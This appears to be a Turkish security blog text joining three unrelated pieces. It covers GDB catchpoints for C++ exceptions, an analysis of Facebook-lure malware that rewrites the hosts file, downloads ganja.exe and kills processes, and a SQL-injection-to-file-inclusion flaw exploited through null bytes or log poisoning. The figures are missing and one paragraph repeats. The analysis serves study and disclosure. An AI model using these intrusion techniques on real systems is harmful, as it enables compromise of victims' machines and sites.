Exception’lar istenmeyen durumların yakalanması için kullanılan ve bir çok programlama diline uyarlanmış bir özelliktir. C++ bunlardan biridir. Exception genel olarak aynı süreç içerisinde oluşma (Bkz: throw) ve sonlanma (Bkz: caught) aşamasından oluşmaktadır. GDB bu tip hataların incelenmesi aşamasında önemli görevler üstlenebilmekte. GDB konsolda catch throw ile hata bloguna atıldığı anda debugger’ın tepki vermesini sağlayabilirsiniz veya hatanın oluşması anında inceleme yapabilmek için catch catch komutu kullanılabilir.

(gdb) catch throw
Catchpoint 2 (throw)
(gdb) catch catch
Catchpoint 3 (catch)
(gdb) cont
Continuing.
Catchpoint 2 (exception thrown), 0x00007ffff7b8f9e0 in __cxa_throw () from /usr/lib/libstdc++.so.6
(gdb) where
#0 0x00007ffff7b8f9e0 in __cxa_throw () from /usr/lib/libstdc++.so.6
#1 0x0000000000400afd in f1() ()
#2 0x0000000000400b3e in main ()

Yukarıda görüldüğü gibi catch ve throw komutlari Çalışma anı Kütüphaneleri (Bkz: Runtime Library) yüklendikten sonra çalışmaktadır. Komutları vermeden önce sürecin çalıştığından emin olmak gerekmekte. Aynı işlemi Windows işletim sistemi üzerinden yapmak mümkün, kullandığınız IDE veya debugger’a göre bu işlem tabii ki değişecektir.

Aşağıda ki basit analiz konunun Türkiye ayağı ile ilgili ve içinde Facebook ile ilgili sahte bir takım materyallerin kullanılması yoluyla aktivitesini sürdüren ufak bir kod.

Şekil - 1

Söz konusu zararlı kodun “%SystemRoot%\system32\drivers\etc\” dosyasına müdehalede bulunacağı açıkça görülüyor. Bu dizinde müdehale edilecek dosyanın “hosts” dosyası olabileceği akla gelen ilk seçenek aşağıda program içerisinde tanımlanmış “string” değerlere baktığımızda bunu daha iyi görebiliyoruz.

Şekil - 2

Resimde bir takım anti-virus veya “malware” temizlemek için kullanılan yazılımların alan adına karşılık gelen ip adreslerinin değiştenirildiği ve “local ip” adresine yönlendirildiğini görüyoruz.

Şekil - 3

“%SystemRoot%\system32\drivers\etc\” dosyası yazılabilir ve okunabilir modda açıldıktan sonra yukarıda program içinde tanımlanmış alan adları ve ip adresleri ekleniyor.

Şekil - 4

Program URLDownloadToFile() API’sini kullanarak ganja.exe isimli çalıştırılabilir dosyayı bilgisayara indiriyor. Fakat bu çalıştırılabilir dosyanın buluduğu adres şu an kullanılabilir değil.

Şekil - 5

Yukarıda program içerisinde tanımlı “string” değerler, saldırgandan gelecek komutların kısa bir listesi. Bu komutlar sayesinde “kurban”
sistem üzerinde “dosya indirme”, “anti-virüsleri etkisiz hale getirme”, “istenilen sitenin ziyaret edilmesi” gibi işlemler gerçekleştirilebiliyor.

Şekil - 6

ShellExecute() API’si ile sistem üzerinde belirli bir programın açılması ve sistem içerisinde belirlenen dosyanın o programa dışarıdan yüklenmesi işlemi gerçekleşmektedir.

Şekil - 7

Son olarak yukarıda koddan anlaşılacağı gibi “görüntüsü” alınan tüm süreçlerin ve exe içerisinde tanımlanan bazi kütüphanelere endeksli çalıştırılabilir servislerin kapatılması işlemi gerçekleşmektedir.

Şekil 1: include_once hata mesajı

Şekil 3′teki kaynak kodda görebileceğiniz üzere $menu_id değişkeni (bizim kontrolümüzde olan değişken) sorguya dahil edilmekte. Daha sonra $cp_boxes değişkeninde saklanan MySQL Resource’eait “dashboard_id” isimli kolon Şekil4′te göreceğiniz üzere $dashboard_id değişkenine atanmakta ve include_once fonksiyonunun parametresinde kullanılmakta.

İlgili örnekte sorgudan dönen 5.kolon include_once fonksiyonuna atanmakta. include_once fonksiyonu 5.kolon’daki müdahele ettiğimiz değeri (örneğimizde bu değer 999999), dosya sisteminde bulamadığı için hata mesajı veriyor. NULL Byte enjekte ederek yerel dosya sistemindeki dosyaları okuyabilmemiz yada log dosyalarını zehirleyerek komut çalıştırabilmemiz mümkün. [1] Şekil 2’de göreceğiniz üzere bu açıklığı kolay bir şekilde exploit edebildik.

Şekil 2: Exploitation

Şekil 3′teki kaynak kodda görebileceğiniz üzere $menu_id değişkeni (bizim kontrolümüzde olan değişken) sorguya dahil edilmekte. Daha sonra $cp_boxes değişkeninde saklanan MySQL Resource’e ait “dashboard_id” isimli kolon Şekil4′te göreceğiniz üzere $dashboard_id değişkenine atanmakta ve include_once fonksiyonunun parametresinde kullanılmakta.

Şekil 3: SQL Injection içeren kod bölümü

Şekil 4: SQL Injection üzerinden LFI gerçekleşen kod bölümü

[1] - http://www.adeosecurity.com/guvenlik/gelismis-file-inclusion-saldirilari/